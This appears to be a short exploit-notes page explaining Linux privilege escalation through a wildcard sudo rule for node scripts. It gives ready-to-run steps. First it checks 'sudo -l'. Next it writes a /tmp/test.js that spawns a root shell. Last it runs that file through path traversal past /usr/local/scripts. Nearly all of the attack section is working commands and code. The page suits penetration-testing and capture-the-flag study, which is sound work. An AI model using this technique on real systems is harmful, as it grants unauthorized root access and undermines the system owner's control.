# Sudo Path Traversal Privilege Escalation

### [Investigation](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-path-traversal-privilege-escalation/#investigation) <a href="#investigation" id="investigation"></a>

```sh
sudo -l

(ALL) /usr/bin/node /usr/local/scripts/*.js
Copied!
```

If the file path uses wildcards, we may execute arbitrary files.\
In short, we can refer to files in different directories which the system owner unintended.

<br>

### [Exploitation](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-path-traversal-privilege-escalation/#exploitation) <a href="#exploitation" id="exploitation"></a>

Assume we can execute ‘node’ command as root and js file.\
Create the **“test.js”** under **/tmp**, which spawns a root shell after executing **‘node’** command.

```jsx
// /tmp/test.js
require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})
Copied!
```

Now run **‘node’** command as root. We can pass the file using path traversal.

```jsx
sudo /usr/bin/node /usr/local/scripts/../../../tmp/test.js
```
